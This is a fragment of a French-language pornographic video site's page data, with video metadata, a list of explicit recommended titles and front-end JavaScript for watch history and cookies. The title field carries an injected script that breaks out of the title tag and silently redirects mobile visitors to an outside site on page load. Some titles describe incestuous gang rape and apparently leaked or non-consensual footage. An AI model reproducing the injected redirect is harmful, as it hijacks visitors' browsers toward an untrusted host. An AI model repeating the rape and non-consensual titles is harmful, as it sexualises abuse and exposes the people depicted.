</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>YY Live Enen Zirui soutient le streamer de haut niveau de la guilde : un homme riche paie le prix fort pour des prestations sexuelles personnalisées à grande échelle</script>
YY Live Enen Zirui soutient le streamer de haut niveau de la guilde : un homme riche paie le prix fort pour des prestations sexuelles personnalisées à grande échelle","site_id":0,"video_url":"https://vostrely.com/20260707/eYNpXhI4/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDgvMDdlYjNlYTU2ZmMyYzI0ZjgwYWNkNDc1YmY0ZGRjNzguanBn.cache","duration":"15:00","actor":[],"lastmod":1783766805,"rating":"0","view_count":0,"description":null,"tag":["diffusion en direct","ancre","magnat local","à grande échelle","Apparence","échelle","Bien-être","sur mesure","Grand","Prix élevé","streamer en direct plutôt beau gosse","Enen"],"site_url":"182924","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["主播诱惑"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDgvMDdlYjNlYTU2ZmMyYzI0ZjgwYWNkNDc1YmY0ZGRjNzguanBn.cache","maker":"","table_name":"videos_naixxzy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"YY直播恩恩子睿挺公会颜值主播土豪高价定制大尺度报逼福利","s_keywords":"YY直播恩恩子睿挺公会颜值主播土豪高价定制大尺度报逼福利","s_description":"YY Live Enen Zirui soutient le streamer de haut niveau de la guilde : un homme riche paie le prix fort pour des prestations sexuelles personnalisées à grande échelle","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDkvYmFkYjY4NjU3Yzk4ZDE3NmRlYmIyYWM4MzAyZjAzNTMuanBn.cache","vod_id":19107924,"title":"Misswarmj, une streameuse ASMR suivie par des millions de personnes, réalise 3 photos privées.","lastmod":"2025-06-09","duration":"21:46","url":"/play/19107924.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzU0OWE5OGM2YjE5OWFjODY3NmRmOGUzZWI1MGYwNzcuanBn.cache","vod_id":19014602,"title":"SUJI-214 Diffusion en direct érotique dans une chambre d'étudiante : éjaculation féminine, masturbation en uniforme, 10 personnes, 4 heures","lastmod":"2025-03-19","duration":"04:00:59","url":"/play/19014602.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZmFjNzNhODViNWRlNzdmNDFmNTcwZmMxYTE4ZDQzNTcuanBn.cache","vod_id":19087686,"title":"Haikou Ts Xiaowei - Un homme fort a besoin d'être apprécié avec ses sœurs. Trois personnes prennent le train, avec un riche homme au milieu. Une ladyboy est à la fois dominante et soumise. C'est tellement excitant ! Le bordel de Sanya !","lastmod":"2025-03-19","duration":"02:18","url":"/play/19087686.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMzdhMjI1MTgzNzY0NTZiNzU3MzAwZmE2YTA1M2FjNzcuanBn.cache","vod_id":19070675,"title":"Diffusion en direct - Une femme d'une beauté époustouflante, avec des fossettes, retire sa culotte et écarte les jambes pour vous montrer sa vulve magnifique.","lastmod":"2025-03-19","duration":"02:33:51","url":"/play/19070675.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDkvYjE1MmQxNjQ0YzFmZWMyOTE3YTkxOGNiYWM2OWY0OTkuanBn.cache","vod_id":19099457,"title":"Une jeune femme se masturbe nue avec des accessoires, ses doigts écartant ses lèvres et massant son clitoris pendant une douche en direct.","lastmod":"2025-04-09","duration":"10:36","url":"/play/19099457.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMzVhYTFkM2Y4NWE3ZWZhZjNlODhlNWQ0NjUzNTZmOGYuanBn.cache","vod_id":18945257,"title":"Accessoires de présentatrice à forte poitrine - Show 2","lastmod":"2025-03-19","duration":"29:16","url":"/play/18945257.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMjMzNTkzNzA0NmQzNTAxODY3Y2YyZDRjYjdhY2VmODQuanBn.cache","vod_id":19145426,"title":"Une étudiante diplômée de l'université de Zhengzhou, qui préparait son examen d'entrée en études supérieures, a été surprise en train de diffuser en direct des vidéos provocantes.","lastmod":"2026-04-17","duration":"24:36","url":"/play/19145426.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTMvNDljMjZiNzU4ZTY2NzM0NDM2MTU2ZjM0NDczNzA3YmQuanBn.cache","vod_id":19099938,"title":"#En direct ! Une fille aux cheveux courts se fait bombarder de baisers dans sa chatte douce et légèrement poilue !","lastmod":"2025-04-13","duration":"07:32","url":"/play/19099938.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDUvYTk5YTIxNzcwYWQ0NWFlYzdlOWMxZWRlODI1MGZmYjguanBn.cache","vod_id":19098945,"title":"Une beauté époustouflante avec une silhouette parfaite","lastmod":"2025-04-05","duration":"04:31","url":"/play/19098945.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYWYzZWI4ZGRmYzFhYjg2MGVlNTI0MmVkZWU0ZGY4NWYuanBn.cache","vod_id":19023301,"title":"Une jeune femme, streameuse en direct sur HD, s'amuse chez elle avec son petit ami, notamment en pratiquant le sexe oral et le sexe.","lastmod":"2025-03-19","duration":"25:51","url":"/play/19023301.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDEvZjlhMzIxYjBhODczMjc3NzM2NTIyNmQ5Yjg5ODkyNTAuanBn.cache","vod_id":19152425,"title":"2K, une streameuse Douyin (TikTok) de 164 cm, est une danseuse sexy depuis longtemps et porte de la lingerie sexy qui laisse transparaître ses charmes.","lastmod":"2026-07-01","duration":"45:12","url":"/play/19152425.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOGY0NTkyYWIwODE5ZGM5MDA0N2RmMWVhNjliNWUwMzguanBn.cache","vod_id":19044618,"title":"Partenaire sexuel de grande valeur, aux cheveux courts 1.","lastmod":"2025-03-19","duration":"00:00:27","url":"/play/19044618.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMmMyMTQ5ZjFmMDI4ODdhZjRhN2QyMjFmNTBlMGI2NDEuanBn.cache","vod_id":19004637,"title":"Baidu a diffusé en avant-première une vidéo d'une étudiante en finance, belle et séduisante, en pleine relation sexuelle avec un homme plus âgé, beau et bien doté, dans un hôtel. La vidéo est en mandarin.","lastmod":"2025-03-19","duration":"25:13","url":"/play/19004637.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNzU5OTQxOGEwMjZkZTEwY2UyZmFkYzBjZDM0MjZiMTguanBn.cache","vod_id":19142262,"title":"Une jeune femme était suspendue dans les airs lors d'une diffusion en direct, dévoilant sa silhouette séduisante.","lastmod":"2026-03-17","duration":"17:01","url":"/play/19142262.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZWRjZTU1ZDZlYzMyYWI3ZTZlMDgzYjYyMzYwZTI3YjkuanBn.cache","vod_id":19143018,"title":"Cette jeune femme de grande valeur, aux seins généreux, utilise des accessoires pour se masturber, se fait masser les seins, se fait faire une fellation avec les pieds, et ses gros seins bien remplis sont incroyablement attirants et sexy.","lastmod":"2026-03-24","duration":"17:45","url":"/play/19143018.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMWJkNjkzNzY3NjkwYjAxMDg4M2QwYTFiZjkwYTIwNmMuanBn.cache","vod_id":18934031,"title":"L'intrigue, l'apparence et le sexe de l'IA Zheng Shuang.","lastmod":"2025-03-19","duration":"08:34","url":"/play/18934031.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDYyMjJiZTc5NGI0MjJmYTJmYzk1NjEwZmQ2NzNjMzMuanBn.cache","vod_id":19142250,"title":"Entraînement personnalisé, photographie de pieds, bondage d'étudiantes, vibromasseur, cire qui coule, flagellation","lastmod":"2026-03-17","duration":"17:06","url":"/play/19142250.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMzU0ZGQzYmE0MjUyZmVjNTQyYWFiYmI5MDQyZmI5OGIuanBn.cache","vod_id":19136879,"title":"Grande, mince et d'une beauté époustouflante, une étudiante shanghaienne de 2005 travaillant à temps partiel, tarifée 3000 yuans pour des relations sexuelles occasionnelles.","lastmod":"2026-02-13","duration":"26:01","url":"/play/19136879.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZDQwNGExMGQ2MmZhMGVlMDBiNTlhNTlmYjhlOTQzNjYuanBn.cache","vod_id":19098020,"title":"Une streameuse en direct, dont l'identité a été révélée et qui se montrait consciencieuse, a eu des rapports sexuels non protégés, y compris une fellation sur une femme dont le visage était découvert, et a utilisé du yaourt comme lubrifiant.","lastmod":"2025-03-31","duration":"41:17","url":"/play/19098020.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMmEwMTYxM2U4ZjBiNWI5Y2NhYThlMTA3MWZiOTcwNjguanBn.cache","vod_id":18978461,"title":"Une querelle familiale plutôt dramatique s'est déroulée en direct sur internet, toute la famille participant à la défloration de la cousine. Les hommes, très musclés, ont même violé trois femmes en réunion ; le vagin de la cousine saignait encore !","lastmod":"2025-03-19","duration":"26:25","url":"/play/18978461.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjU2ZDI2YTk0ZDI1YmNhMDMzMzRmODQ4ZTc4MjY5YjcuanBn.cache","vod_id":19143639,"title":"La streameuse Huya Wen Wan'er exécute une danse provocante en bas noirs sexy lors d'une diffusion en direct.","lastmod":"2026-03-30","duration":"29:41","url":"/play/19143639.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNjQxMTY0Y2VhOTQ0NjljMTQyMDlkZmQ4ZDliYTdkMzkuanBn.cache","vod_id":18932435,"title":"Téléchargé par l'utilisateur @20207920237 : Une infirmière à l'apparence radicalement différente et au comportement provocateur sur le lit.","lastmod":"2025-03-19","duration":"02:08","url":"/play/18932435.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMjQzYmFjZDE3Y2U5MGZjYmExMzlmOWFkMDU3NjNkZGUuanBn.cache","vod_id":18958351,"title":"Une jolie streameuse aguicheuse et son partenaire sexuel s'adonnent à des actes sexuels en plein air, notamment du sexe oral et du sexe en voiture, qui sont plutôt obscènes.","lastmod":"2025-03-19","duration":"28:44","url":"/play/18958351.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMjBjZjI5NzIyZWIxZjI1NTM2ZjhhZTVkYWIxZjc0ZDQuanBn.cache","vod_id":19097861,"title":"Une déesse est arrivée, une femme métisse d'une beauté époustouflante, qui est invitée à avoir des relations sexuelles par un homme tatoué.","lastmod":"2025-03-29","duration":"01:42","url":"/play/19097861.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>YY Live Enen Zirui soutient le streamer de haut niveau de la guilde : un homme riche paie le prix fort pour des prestations sexuelles personnalisées à grande échelle</script>',
language: 'fr',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Lien copié !');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Lien copié !');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Lien copié !');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}